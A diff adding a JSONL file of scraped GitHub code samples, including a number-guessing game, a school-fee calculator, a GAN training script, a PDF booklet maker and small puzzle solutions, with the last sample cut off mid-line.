diff --git "a/6209.jsonl" "b/6209.jsonl" new file mode 100644--- /dev/null +++ "b/6209.jsonl" @@ -0,0 +1,857 @@ +{"seq_id":"13932575834","text":"import random\n\nNum = random.randint(1, 100)\nprint(Num)\nuserGues = None\nGuesses = 0\nwhile(userGues != Num):\n userGuess = int(input(\"Guess the Number\\n\"))\n if Num == userGuess:\n print(\"Congraculation! You Guess the correct Number 😀\")\n break\n\n elif Num > userGuess:\n print(\"Guess Higher number Please 🙂\")\n\n else:\n print(\"Guess Lower Number Please 🙃\")\n Guesses += 1\n\nprint(f\"You Guess the correct number in {Guesses} Guesses.\")\n\n# For Maintaning A High score Book. Using file.\n\nwith open('Highscoreforpractic-2.txt', 'r') as f:\n highscore = int(f.read())\n\nif Guesses < highscore:\n with open('Highscoreforpractic-2.txt', 'w') as f:\n f.write(str(Guesses))\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Danish-Belal/Python-Basic-to-Advance","sub_path":"Basic Python/The-Perfect-Guess.py","file_name":"The-Perfect-Guess.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39549809082","text":"def dpp_rangking(rangking):\n if(rangking==1):\n potongan_dpp = 1\n elif(rangking==2):\n potongan_dpp = 0.75\n elif(rangking==3):\n potongan_dpp = 0.5\n dpp = 10000000\n dpp = dpp - (dpp*potongan_dpp)\n return dpp\n\ndef cek_dpp_nilai(nilai):\n if(nilai>80):\n dpp = 10000000\n elif(nilai>70):\n dpp = 12000000\n else:\n dpp = 15000000\n return dpp \n\ndef cek_kategori_nilai(nilai):\n if(nilai>80):\n kategori = 1\n elif(nilai>70):\n kategori = 2\n else:\n kategori = 3\n return kategori\n\ndef cek_biaya_lain(nilai):\n if(nilai>80):\n lain_lain = 0\n elif(nilai>70):\n lain_lain = 1500000\n else:\n lain_lain = 2000000\n return lain_lain\n\n\nspp = 2000000\ninput(\"Masukkan nama pendaftar: \")\ninput(\"Masukkan no pendftaran: \")\nstatus_rangking = int(input(\"Apakah pendaftar memiliki rangking (1: Ya, 0:Tidak): \"))\nif(status_rangking):\n rangking = int(input(\"Masukkan rangking kelas (1-3): \"))\n dpp = dpp_rangking(rangking)\n kategori = 1\n lain_lain = 0\nelse:\n nilai = int(input(\"Masukkan nilai tes: \"))\n dpp = cek_dpp_nilai(nilai)\n kategori = cek_kategori_nilai(nilai)\n lain_lain = cek_biaya_lain(nilai)\n\ntotal = dpp + spp + lain_lain\n\nprint(\"Kategori: \", kategori )\nprint(\"SPP: \", spp)\nprint(\"DPP: \", dpp)\nprint(\"Total: \", total)","repo_name":"aenal-abie/Algoritma-dan-Pemrograman","sub_path":"Praktikum 5/pmb.py","file_name":"pmb.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14739557184","text":"# coding=utf-8\r\n\"\"\"\r\n作者:zlf\r\n日期:2021年12月01日\r\n\"\"\"\r\nimport torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nfrom torchvision import datasets, transforms\r\nimport matplotlib.pyplot as plt\r\n# 用于网络可视化\r\nfrom torchvision.models import vgg16\r\nfrom torchsummary import summary\r\nfrom torchviz import make_dot\r\nimport 人脸特征编码处理\r\n\r\n\r\n# 定义鉴别器\r\nclass Discriminator(nn.Module):\r\n def __init__(self, nc, ndf):\r\n super(Discriminator, self).__init__()\r\n # 使用深度卷积网络作为鉴别器 # 该网络前四层处理的输入是3维数据->32->64->128->256\r\n self.layer1 = nn.Sequential(nn.Conv2d(nc, ndf, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ndf), nn.LeakyReLU(0.2, inplace=True))\r\n self.layer2 = nn.Sequential(nn.Conv2d(ndf, ndf * 2, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ndf * 2), nn.LeakyReLU(0.2, inplace=True))\r\n self.layer3 = nn.Sequential(nn.Conv2d(ndf * 2, ndf * 4, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ndf * 4), nn.LeakyReLU(0.2, inplace=True))\r\n self.layer4 = nn.Sequential(nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ndf * 8), nn.LeakyReLU(0.2, inplace=True))\r\n # 最后全连接层是将 256 * 6 * 6 的维度通过线性变换变成一维\r\n self.fc = nn.Sequential(nn.Linear(256 * 6 * 6, 1), nn.Sigmoid())\r\n\r\n def forward(self, x):\r\n out = self.layer4(self.layer3(self.layer2(self.layer1(x))))\r\n out = self.fc(out.view(-1, 256 * 6 * 6)) # view的功能是将数据转换成 256 * 6 * 6\r\n out = out.squeeze(-1)\r\n return out\r\n\r\n\r\n# 定义生成器\r\nclass Generator(nn.Module):\r\n def __init__(self, nc, ngf, nz, feature_size):\r\n super(Generator, self).__init__()\r\n self.prj = nn.Linear(feature_size, nz * 6 * 6) # 所谓feature_size应该就是输入的噪声的维度\r\n # nn.Sequential:一个有序的容器,神经网络模块将按照在传入构造器的顺序依次被添加到计算图中执行\r\n self.layer1 = nn.Sequential(nn.ConvTranspose2d(nz, ngf * 4, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ngf * 4), nn.ReLU())\r\n self.layer2 = nn.Sequential(nn.ConvTranspose2d(ngf * 4, ngf * 2, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ngf * 2), nn.ReLU())\r\n self.layer3 = nn.Sequential(nn.ConvTranspose2d(ngf * 2, ngf, kernel_size=4, stride=2, padding=1),\r\n nn.BatchNorm2d(ngf), nn.ReLU())\r\n self.layer4 = nn.Sequential(nn.ConvTranspose2d(ngf, nc, kernel_size=4, stride=2, padding=1),\r\n nn.Tanh())\r\n\r\n def forward(self, x):\r\n out = self.prj(x).view(-1, 1024, 6, 6) # 将输入的噪声预处理成 1024*6*6*others 的形式\r\n out = self.layer4(self.layer3(self.layer2(self.layer1(out))))\r\n return out\r\n\r\n\r\n# 图片显示\r\ndef img_show(inputs, picname, i):\r\n # plt.ion()\r\n inputs = inputs / 2 + 0.5\r\n inputs = inputs.numpy().transpose((1, 2, 0))\r\n plt.imshow(inputs) # 生成彩色图\r\n # plt.pause(0.1)\r\n road = 'D:/pycharmspace/mywork/python_finalwork/machine pic/'+str(i)+'/'\r\n plt.savefig(road + picname + \".jpg\")\r\n plt.close()\r\n\r\n\r\n# 训练过程\r\ndef train(i,d, g, criterion, d_optimizer, g_optimizer, epochs=1, show_every=100, print_every=50,):\r\n iter_count = 0 # 迭代训练的次数\r\n for epoch in range(epochs):\r\n for inputs, _ in train_loader: # 下划线啥意思没懂\r\n # 制作真输入和假输入\r\n real_inputs = inputs # 真实样本 真实的输入(训练集的图片编码转换成的数组)\r\n fake_inputs = g(torch.randn(5, 100)) # 把伪造的数据喂给生成器 (通过torch.randn()模拟的标准正太分布的数据)\r\n # 制作真标签和假标签\r\n real_labels = torch.ones(real_inputs.size(0)) # 把预测结果过真实标签\r\n fake_labels = torch.zeros(5) # 错误标签\r\n # 分别用真数据和假数据训练一下鉴别器\r\n real_outputs = d(real_inputs) # 把真实的输入喂给鉴别器,让他判断真假\r\n d_loss_real = criterion(real_outputs, real_labels) # d_loss_real 是损失函数当输入的是正确标签计算出来的代价\r\n\r\n fake_outputs = d(fake_inputs) # 把假的输入喂给鉴别器,让他判断真假\r\n d_loss_fake = criterion(fake_outputs, fake_labels) # 同理:d_loss_fake 当标签为错误时的损失函数\r\n\r\n d_loss = d_loss_real + d_loss_fake # 总代价为:两个代价加和\r\n # 更新鉴别器的权重参数\r\n d_optimizer.zero_grad()\r\n d_loss.backward()\r\n d_optimizer.step()\r\n\r\n fake_inputs = g(torch.randn(5, 100)) # 另生成器生成图片\r\n outputs = d(fake_inputs) # 把生成器生成的图片传给鉴别器检验真伪\r\n real_labels = torch.ones(outputs.size(0)) # 给输出的值贴上0的标签\r\n g_loss = criterion(outputs, real_labels) # 根据生成的图片的是否能欺骗鉴别器来优化生成器\r\n # 更新生成器的权重参数\r\n g_optimizer.zero_grad()\r\n g_loss.backward()\r\n g_optimizer.step()\r\n\r\n if iter_count % show_every == 0: # 训练的次数为展示的整数次时,显示并保存一下生成器生成的假图片。并告知损失函数的数值\r\n print('Epoch:{}, Iter:{}, D:{:.4}, G:{:.4}'.format(epoch,\r\n iter_count,\r\n d_loss.item(),\r\n g_loss.item()))\r\n picname = \"Epoch_\" + str(epoch) + \"Iter_\" + str(iter_count)\r\n img_show(torchvision.utils.make_grid(fake_inputs.data), picname, i)\r\n\r\n if iter_count % print_every == 0:\r\n print('Epoch:{}, Iter:{}, D:{:.4}, G:{:.4}'.format(epoch,\r\n iter_count,\r\n d_loss.item(),\r\n g_loss.item()))\r\n iter_count += 1\r\n\r\n print(iter_count, 'Finished Training!')\r\n save_params(d, g, i)\r\n\r\n\r\ndef save_params(d, g, i):\r\n # 存储训练好的网络,i代表了存储网络的路径,epochs代表了网络的epochs\r\n torch.save(d.state_dict(), 'D:/pycharmspace/mywork/模型训练参数/d/d_' + str(i))\r\n torch.save(g.state_dict(), 'D:/pycharmspace/mywork/模型训练参数/g/g_' + str(i))\r\n\r\n\r\ndef show_layer():\r\n d = vgg16() # 实例化网络,可以换成自己的网络\r\n summary(d, (3, 64, 64)) # 输出网络结构\r\n g = vgg16()\r\n summary(g, (3, 64, 64))\r\n\r\n\r\ndef load_param(i):\r\n d.load_state_dict(torch.load('D:/pycharmspace/mywork/模型训练参数/d/d_' + str(i)))\r\n g.load_state_dict(torch.load('D:/pycharmspace/mywork/模型训练参数/g/g_' + str(i)))\r\n see_pic()\r\n\r\n\r\ndef see_pic():\r\n fake_pic = g(torch.randn(5, 100)) # 另生成器生成图片\r\n fake_pic = torchvision.utils.make_grid(fake_pic)\r\n plt.ion()\r\n fake_pic = fake_pic / 2 + 0.5\r\n fake_pic = fake_pic.numpy().transpose((1, 2, 0))\r\n plt.imshow(fake_pic)\r\n plt.pause(3)\r\n plt.close()\r\n\r\n\r\ndef face():\r\n fake_pic = g(人脸特征编码处理.faceCode) # 另生成器生成图片\r\n fake_pic = torchvision.utils.make_grid(fake_pic)\r\n plt.ion()\r\n fake_pic = fake_pic / 2 + 0.5\r\n fake_pic = fake_pic.numpy().transpose((1, 2, 0))\r\n plt.imshow(fake_pic)\r\n plt.pause(30)\r\n plt.close()\r\n\r\n\r\ndef see_net():\r\n g = Generator(3, 128, 1024, 100)\r\n d = Discriminator(3, 32)\r\n y = d(g(torch.randn(5, 100)))\r\n # y = g(torch.randn(5, 100))\r\n vise = make_dot(y, params=dict(d.named_parameters()))\r\n vise.view()\r\n\r\n\r\n# 主程序\r\nif __name__ == '__main__':\r\n # 串联多个变换操作\r\n data_transform = transforms.Compose([\r\n transforms.RandomHorizontalFlip(), # 依概率p水平翻转,默认p=0.5\r\n transforms.ToTensor(), # 转为tensor,并归一化至[0-1]\r\n # 标准化,把[0-1]变换到[-1,1],其中mean和std分别通过(0.5,0.5,0.5)和(0.5,0.5,0.5)进行指定。\r\n # 原来的[0-1]最小值0变成(0-0.5)/0.5=-1,最大值1变成(1-0.5)/0.5=1\r\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\r\n ])\r\n\r\n # 参数data_transform:对图片进行预处理的操作(函数),原始图片作为输入,返回一个转换后的图片。\r\n train_set = datasets.ImageFolder('imgs', data_transform) # 把imgs中的文件读入到train_set中,由字典形成的列表组成\r\n train_loader = torch.utils.data.DataLoader(train_set, batch_size=5, shuffle=True, num_workers=0) # 数据加载\r\n\r\n inputs, _ = next(iter(train_loader)) # 啥意思?????????\r\n # make_grid的作用是将若干幅图像拼成一幅图像\r\n # img_show(torchvision.utils.make_grid(inputs), \"RealDataSample\")\r\n\r\n # 初始化鉴别器和生成器\r\n d = Discriminator(3, 32) # 两个参数: 色彩通道数3:RGB三色通道 特征图的深度:32 (通过卷积层生成了32个卷积核,每个卷积核生成一个特征图 即:过滤器:filter)\r\n g = Generator(3, 128, 1024, 100) # 四个参数: 3:RGB三色通道 128:生成器的过滤器 1024:生成器的输入 100:生成的噪声的维度(特征的大小)\r\n\r\n criterion = nn.BCELoss() # 损失函数\r\n lr = 0.0003 # 学习率\r\n d_optimizer = torch.optim.Adam(d.parameters(), lr=lr) # 定义鉴别器的优化器\r\n g_optimizer = torch.optim.Adam(g.parameters(), lr=lr) # 定义生成器的优化器\r\n #\r\n #\r\n #\r\n #\r\n # train(8,d, g, criterion, d_optimizer, g_optimizer, epochs=600) # 其中6表示生成图片的保存路径,保存训练参数的路径\r\n # 六个参数:1:鉴别器 2:生成器 3:损失函数 4:鉴别器的优化算法 5:生成器的优化算法 6:遍历训练集的次数:300次\r\n load_param(7)\r\n face()\r\n # see_net()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"pojiezhilang/Facial-feature-mapping","sub_path":"GAN网络.py","file_name":"GAN网络.py","file_ext":"py","file_size_in_byte":10608,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23493169494","text":"import io\nimport os\nfrom os import mkdir\nfrom os.path import exists\nfrom shutil import rmtree\nfrom math import ceil, log, sqrt\nfrom threading import Thread\nfrom enum import Enum\n\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\nfrom PySimpleGUI import theme, Button, Text, Input, InputText, FilesBrowse, Window, WIN_CLOSED, Image as guiImage\n\nimport src.pdfbooklet_new as pdfbooklet_new\nfrom reportlab.lib.pagesizes import *\nfrom reportlab.pdfgen import canvas\nfrom src.ui_settings import *\n\n\nclass PageSize(Enum):\n \"\"\"\n An enum class for page size representation.\n The value of the page size is how many pages in this size\n fit in an A4 page.\n \"\"\"\n\n A5 = 2\n A6 = 4\n A7 = 8\n\n# -----------------------\n# pdf manipulation\n# ------------------------\n\ndef extract_num_of_pages(pdf_path):\n with open(pdf_path, 'rb') as f:\n pdf = PdfFileReader(f)\n number_of_pages = pdf.getNumPages()\n f.close()\n return number_of_pages\n\n\ndef split(path, name_of_split, sp, length, bind_method='s'):\n # length += (4-(length%4))*(length%4 > 0)\n pdf = PdfFileReader(path)\n output = f'{name_of_split}'\n pdf_writer = PdfFileWriter()\n\n for page in range(sp, sp + length):\n if page < pdf.getNumPages():\n pdf_writer.addPage(pdf.getPage(page))\n else:\n addBP(pdf_writer, page)\n if not bind_method == 's':\n pdf_writer.insertBlankPage(0)\n pdf_writer.addBlankPage()\n\n with open(output, 'wb') as output_pdf:\n pdf_writer.write(output_pdf)\n output_pdf.close()\n\n\ndef addBP(pdfFileWriter, i):\n \"\"\"The function add blank page with number of page in notebook\n :param i: number of page\n \"\"\"\n packet = io.BytesIO()\n can = canvas.Canvas(packet, pagesize=A4)\n can.setFontSize(20)\n can.drawString(A4[0] / 2, 10, str(i))\n can.save()\n packet.seek(0)\n # create a new PDF with Reportlab\n new_pdf = PdfFileReader(packet)\n # read your existing PDF\n existing_pdf = PdfFileWriter()\n existing_pdf.addBlankPage(A4[0], A4[1])\n # add the \"watermark\" (which is the new pdf) on the existing page\n existing_pdf.pages[0].merge_page(new_pdf.pages[0])\n pdfFileWriter.addPage(existing_pdf.pages[0])\n\n\ndef split_Even_Odd(path, name_of_split):\n pdf = PdfFileReader(path)\n output_ev = f'{name_of_split}_even.pdf'\n output_odd = f'{name_of_split}_odd.pdf'\n pdf_writer_ev = PdfFileWriter()\n pdf_writer_odd = PdfFileWriter()\n number_of_pages = extract_num_of_pages(path)\n number_of_pages_plusblank = 0 # int((4 - (number_of_pages / 2 % 4)) * (number_of_pages / 2 % 4 > 0))\n for page in range(number_of_pages + number_of_pages_plusblank):\n if page < number_of_pages:\n if page % 2 == 0:\n pdf_writer_odd.addPage(pdf.getPage(page))\n else:\n pdf_writer_ev.addPage(pdf.getPage(page))\n else:\n pdf_writer_ev.addBlankPage()\n pdf_writer_odd.addBlankPage()\n\n with open(output_ev, 'wb') as output_pdf:\n pdf_writer_ev.write(output_pdf)\n output_pdf.close()\n with open(output_odd, 'wb') as output_pdf:\n pdf_writer_odd.write(output_pdf)\n output_pdf.close()\n\n\ndef rotate(path, name_of_rotate, num_rot=3):\n pdf = PdfFileReader(path)\n number_of_pages = extract_num_of_pages(path)\n output = f'{name_of_rotate}'\n pdf_writer = PdfFileWriter()\n for page in range(number_of_pages):\n page_1 = pdf.getPage(page).rotateClockwise(90 * num_rot)\n pdf_writer.addPage(page_1)\n\n with open(output, 'wb') as output_pdf:\n pdf_writer.write(output_pdf)\n output_pdf.close()\n\n\ndef merge_pdfs(paths, output):\n pdf_writer = PdfFileWriter()\n\n for path in paths:\n pdf_reader = PdfFileReader(path)\n for page in range(pdf_reader.getNumPages()):\n # Add each page to the writer object\n pdf_writer.addPage(pdf_reader.getPage(page))\n\n # Write out the merged PDF\n with open(output, 'wb') as out:\n pdf_writer.write(out)\n out.close()\n\n\ndef merge_sort_pdfs(path1, path2, output):\n pdf_writer = PdfFileWriter()\n pdf1 = PdfFileReader(path1)\n pdf2 = PdfFileReader(path2)\n number_of_pages = extract_num_of_pages(path1)\n for page in range(number_of_pages):\n pdf_writer.addPage(pdf1.getPage(page))\n pdf_writer.addPage(pdf2.getPage(page))\n\n # Write out the merged PDF\n with open(output, 'wb') as out:\n pdf_writer.write(out)\n out.close()\n\n\ndef pile_combine(file, path):\n tmp_num = extract_num_of_pages(file)\n split(file, path + 's1.pdf', 0, ceil(tmp_num / 2))\n split(file, path + 's2.pdf', ceil(tmp_num / 2), tmp_num)\n\n merge_sort_pdfs(path + 's1.pdf', path + 's2.pdf', file)\n\n\n# ~~~~~~~~~~~~~~~~~\n# the final pdf maker ♪♫♪\n# ~~~~~~~~~~~~~~~~~\ndef combineMethod(trash_file, num):\n odd_path = trash_file + '_odd_rotated' + num + '.pdf'\n even_path = trash_file + '_even_rotated' + num + '.pdf'\n pile_combine(odd_path, trash_file)\n pile_combine(even_path, trash_file)\n\n\ndef moreThan(trash_file, combine_method, eng, num=1):\n n = str(num)\n pev = str(num - 1)\n if pev == '0':\n pev = ''\n\n odd_path = trash_file + '_odd' + pev + '.pdf'\n even_path = trash_file + '_even' + pev + '.pdf'\n\n rotate(odd_path, trash_file + '_odd_rotated' + n + '.pdf')\n rotate(even_path, trash_file + '_even_rotated' + n + '.pdf')\n\n if combine_method == 'v':\n combineMethod(trash_file, n)\n\n odd_path = trash_file + '_odd' + n + '.pdf'\n even_path = trash_file + '_even' + n + '.pdf'\n\n pdfbooklet_new.pdfbooklet(trash_file + '_odd_rotated' + n + '.pdf', odd_path, booklet=0, eng=eng)\n if num % 2 == 0:\n eng = (eng == 0)\n pdfbooklet_new.pdfbooklet(trash_file + '_even_rotated' + n + '.pdf', even_path, booklet=0, eng=eng)\n\n return odd_path, even_path\n\n\n\"\"\"\ndef add_page_number(file_name):\n tmp = open(file_name, 'rb')\n pdfFileReader = PdfFileReader(tmp)\n pdfFileWriter = PdfFileWriter()\n for i in range(len(pdfFileReader.pages)):\n packet = io.BytesIO()\n can = canvas.Canvas(packet,\n pagesize=(pdfFileReader.pages[i].mediaBox.width, pdfFileReader.pages[i].mediaBox.height))\n can.setFontSize(10)\n can.drawString(pdfFileReader.pages[i].mediaBox.width / 2, 0, str(i + 1))\n can.save()\n packet.seek(0)\n # create a new PDF with Reportlab\n new_pdf = PdfFileReader(packet)\n # read your existing PDF\n existing_pdf = PdfFileWriter()\n existing_pdf.addPage(pdfFileReader.pages[i])\n # add the \"watermark\" (which is the new pdf) on the existing page\n existing_pdf.pages[0].merge_page(new_pdf.pages[0])\n pdfFileWriter.addPage(existing_pdf.pages[0])\n tmp.close()\n output = open(file_name + \"2.pdf\", \"wb\")\n pdfFileWriter.write(output)\"\"\"\n\n\ndef add_page_numbers(input_pdf, output_pdf):\n pdf_reader = PdfFileReader(input_pdf)\n pdf_writer = PdfFileWriter()\n\n for page_number, page in enumerate(pdf_reader.pages, start=1):\n packet = io.BytesIO()\n c = canvas.Canvas(packet, pagesize=A4)\n c.setFontSize(20)\n page_number_text = f\"{page_number}\"\n c.drawString(page.mediaBox.width / 2, 10, page_number_text)\n c.save()\n\n packet.seek(0)\n new_pdf = PdfFileReader(packet)\n page.mergePage(new_pdf.pages[0])\n pdf_writer.addPage(page)\n\n with open(output_pdf, \"wb\") as output_file:\n pdf_writer.write(output_file)\n\n\ndef making_the_pdf(inputs, eng=0, pNumber=False, cutLines=True):\n if pNumber:\n add_page_numbers(inputs[0], inputs[0])\n inputs[0] = inputs[0].split(';')\n for inp in inputs[0]:\n inp = inp.replace('\\\\', '/')\n\n file_name = inp.split('/')[-1]\n old_path = inp[:-len(file_name) - 1] + '/'\n\n dir_path = old_path + 'trash ' + file_name[:-4]\n path = dir_path[:] + '/' # argv[2]+'\\\\'\n if not exists(path):\n mkdir(path)\n\n file = old_path + file_name # argv[1]+argv[2]+'.pdf'\n trash_file = path + file_name\n\n notebook_len = int(inputs[1])\n pages_per_sheet = int(inputs[2])\n bind_method = inputs[3]\n combine_method = inputs[4]\n eng = inputs[5]\n number_of_pages = extract_num_of_pages(file)\n\n paths = []\n if not bind_method == 's':\n notebook_len -= 2\n for i in range(int(number_of_pages / notebook_len) + (number_of_pages % notebook_len > 0)):\n name_trash_file = trash_file + str(i + 1)\n split(file, name_trash_file + '.pdf', i * notebook_len, notebook_len, bind_method)\n pdfbooklet_new.pdfbooklet(name_trash_file + '.pdf', name_trash_file + 'let.pdf', eng=eng)\n paths.append(name_trash_file + 'let.pdf')\n if pages_per_sheet == 2:\n path = old_path\n trash_file = path + file_name\n final_path = trash_file + '_merged.pdf'\n merge_pdfs(paths, output=final_path)\n\n if pages_per_sheet > 2:\n split_Even_Odd(final_path, trash_file)\n\n counter = 1\n while pages_per_sheet / (counter ** 2) > 1:\n # print(pages_per_sheet / (counter ** 2))\n # print(counter)\n odd_path, even_path = moreThan(trash_file, combine_method, eng, counter)\n counter += 1\n\n final_path = old_path + file_name[:-4] + ' ready to print.pdf'\n merge_sort_pdfs(odd_path, even_path, final_path)\n\n rmtree(dir_path, ignore_errors=False)\n if cutLines:\n add_dashed_cut_line(final_path, pages_per_sheet)\n\n\ndef add_dashed_cut_line(file, numP):\n pdf = PdfFileReader(file)\n output_pdf = PdfFileWriter()\n for i in range(len(pdf.pages)):\n packet = io.BytesIO()\n if log(numP, 2) % 2 == 0:\n can = canvas.Canvas(packet, pagesize=A4)\n cut_line_width, cut_line_height = A4 # Full width of the page # Full height of the page\n else:\n can = canvas.Canvas(packet, pagesize=(A4[1], A4[0]))\n cut_line_height, cut_line_width = A4 # Full width of the page # Full height of the page\n cut_line_x = 0 # X position for the horizontal cut line\n cut_line_y = 0 # Y position for the vertical cut line\n\n can.setStrokeColorRGB(0, 0, 0) # Black color for the cut lines\n can.setDash(3, 3) # Set dash pattern (3 units on, 3 units off)\n can.setLineWidth(2)\n if log(numP, 2) % 2 == 0:\n for j in range(1, int(sqrt(numP))):\n # Add horizontal cut line\n can.line(cut_line_x, j * cut_line_height / int(sqrt(numP)), cut_line_x + cut_line_width,\n j * cut_line_height / int(sqrt(numP)))\n if j % 2 == 0:\n # Add vertical cut line\n can.line(j * cut_line_width / int(sqrt(numP)), cut_line_y, j * cut_line_width / int(sqrt(numP)),\n cut_line_y + cut_line_height)\n else:\n y = int(sqrt(numP / 2))\n x = y * 2\n for j in range(1, y):\n # Add horizontal cut line\n can.line(cut_line_x, j * cut_line_height / y, cut_line_x + cut_line_width,\n j * cut_line_height / y)\n for j in range(1, x):\n if j % 2 == 0:\n can.line(j * cut_line_width / x, cut_line_y, j * cut_line_width / x,\n cut_line_y + cut_line_height)\n can.save()\n packet.seek(0)\n new_pdf = PdfFileReader(packet)\n pdf.pages[i].merge_page(new_pdf.pages[0])\n output_pdf.addPage(pdf.pages[i]) # Add the modified page to the output\n with open(file, \"wb\") as output:\n output_pdf.write(output)\n\n\n# ~~~~~~~~~~~~~~~~~\n# main ♪♫♪\n# ~~~~~~~~~~~~~~~~~\n\n\ndef main(inputs):\n start = True\n while start:\n start = False\n th = Thread(target=making_the_pdf, args=[inputs, 1])\n th.start()\n\n win_wait_layout = [[Text(text=\"please wait, this may take a few minutes\")]]\n window_wait = Window(\"thank U\", win_wait_layout, size=(300, 50))\n\n while th.is_alive():\n window_wait.read(timeout=1)\n pass\n window_wait.close()\n\n win_end_layout = [[Text(text=\"your file is ready\")],\n [Text(text=\"have a nice day\")],\n [Button(button_text=\"Home page\", key='-again-')]]\n window_end = Window(\"thank U\", win_end_layout, size=(200, 100))\n\n while True:\n event, values = window_end.read()\n if event == WIN_CLOSED:\n break\n if event == '-again-':\n start = True\n break\n window_end.close()\n\n\nif __name__ == '__main__':\n main(UI())\n","repo_name":"Pituchey-Hotam/pocket-book","sub_path":"src/pocket_book.py","file_name":"pocket_book.py","file_ext":"py","file_size_in_byte":12836,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"30097781137","text":"\"\"\"\r\n\n\nA **consecutive-run** is a list of adjacent, consecutive integers. This list\ncan be either increasing or decreasing. Create a function that takes a list of\nnumbers and returns the length of the longest **consecutive-run**.\n\nTo illustrate:\n\n longestRun([1, 2, 3, 5, 6, 7, 8, 9]) ➞ 5\n # Two consecutive runs: [1, 2, 3] and [5, 6, 7, 8, 9] (longest).\n\n### Examples\n\n longest_run([1, 2, 3, 10, 11, 15]) ➞ 3\n # Longest consecutive-run: [1, 2, 3].\n \n longest_run([5, 4, 2, 1]) ➞ 2\n # Longest consecutive-run: [5, 4] and [2, 1].\n \n longest_run([3, 5, 7, 10, 15]) ➞ 1\n # No consecutive runs, so we return 1.\n\n### Notes\n\nIf there aren't any consecutive runs (there is a gap between each integer),\nreturn `1`.\n\n\"\"\"\r\n\ndef longest_run(lst):\n def check(lst):\n runs = []\n i = 0\n run = []\n while i < len(lst):\n if i == len(lst) - 1:\n run.append(lst[i])\n runs.append(run)\n break\n if lst[i]+1 == lst[i+1]:\n run.append(lst[i])\n i += 1\n else:\n run.append(lst[i])\n runs.append(run)\n run = []\n i += 1\n lens = [len(run) for run in runs]\n return max(lens)\n one = check(lst)\n lst.reverse()\n two = check(lst)\n if two >= one:\n return two\n return one\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"X9CsA6955cKRApBNH_17.py","file_name":"X9CsA6955cKRApBNH_17.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9886372080","text":"# https://adventofcode.com/2018/day/11\n\ndef power_level(x,y,serial):\n rack_id = x+10\n power_level = rack_id * y\n power_level += serial\n power_level *= rack_id\n num = str(power_level)[-3]\n return int(num)-5\n\ndef generate_table(serial):\n return [[power_level(x+1,y+1,serial) for x in range(300)] for y in range(300)]\n\n# max sum\ndef max_3x3(table):\n max_sum = None\n max_coords = ()\n for oy in range(300-3-1):\n for ox in range(300-3-1):\n # can be optimized\n current_sum = sum(sum(table[y+oy][x+ox] for x in range(3)) for y in range(3))\n\n if max_sum is None or (current_sum > max_sum):\n max_sum = current_sum\n max_coords = (ox+1, oy+1)\n\n return max_coords\n\n# ---\n\nif __name__ == \"__main__\":\n # assert power_level(122,79,57) == -5\n # assert power_level(217,196,39) == 0\n # assert power_level(101,153,71) == 4\n\n # t1 = max_3x3(generate_table(18))\n # assert t1 == (33,45)\n\n # t2 = max_3x3(generate_table(42))\n # assert t2 == (21,61)\n\n t = generate_table(7689)\n print(max_3x3(t))\n","repo_name":"unabl4/AoC","sub_path":"2018/day11/part1/chronal_charge.py","file_name":"chronal_charge.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15267684705","text":"import os\nimport glob\nimport sys\nimport argparse\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.metrics import roc_auc_score\nfrom resnet_v1_eembc import resnet_v1_eembc, resnet_v1_eembc_quantized\nimport yaml\nimport csv\nimport setGPU\nimport kerop\nfrom train import get_lr_schedule_func\nimport kerastuner\nfrom tensorflow.keras.datasets import cifar10\nimport itertools\n\nfilter_space = [16, 32, 64, 128, 256]\nkernelsize_space = [1, 2, 3, 4]\nstride_space = [''.join(i) for i in itertools.product(['1', '2', '3', '4'], repeat=3)] # space for skip=False\nskip = False\navg_pooling = False\nfinal_activation = False\nepochs = 10\nbatch_size = 32\nlogit_quantizer = 'quantized_bits'\nactivation_quantizer = 'quantized_relu'\nlogit_total_bits = 4\nlogit_int_bits = 1\nactivation_total_bits = 4\nactivation_int_bits = 1\nloss = 'squared_hinge'\ninitial_lr = 0.001\nlr_decay = 0.99\n\n# define cnn model\n\n\ndef build_model(hp):\n # default 3 stacks\n hp_filters0_0 = hp.Choice('filters0_0', filter_space)\n hp_filters0_1 = hp.Choice('filters0_1', filter_space)\n hp_filters1_0 = hp.Choice('filters1_0', filter_space)\n hp_filters1_1 = hp.Choice('filters1_1', filter_space)\n hp_filters2_0 = hp.Choice('filters2_0', filter_space)\n hp_filters2_1 = hp.Choice('filters2_1', filter_space)\n hp_kernelsize0_0 = hp.Choice('kernelsize0_0', kernelsize_space)\n hp_kernelsize0_1 = hp.Choice('kernelsize0_1', kernelsize_space)\n hp_kernelsize0_2 = hp.Choice('kernelsize0_2', kernelsize_space)\n hp_kernelsize1_0 = hp.Choice('kernelsize1_0', kernelsize_space)\n hp_kernelsize1_1 = hp.Choice('kernelsize1_1', kernelsize_space)\n hp_kernelsize1_2 = hp.Choice('kernelsize1_2', kernelsize_space)\n hp_kernelsize2_0 = 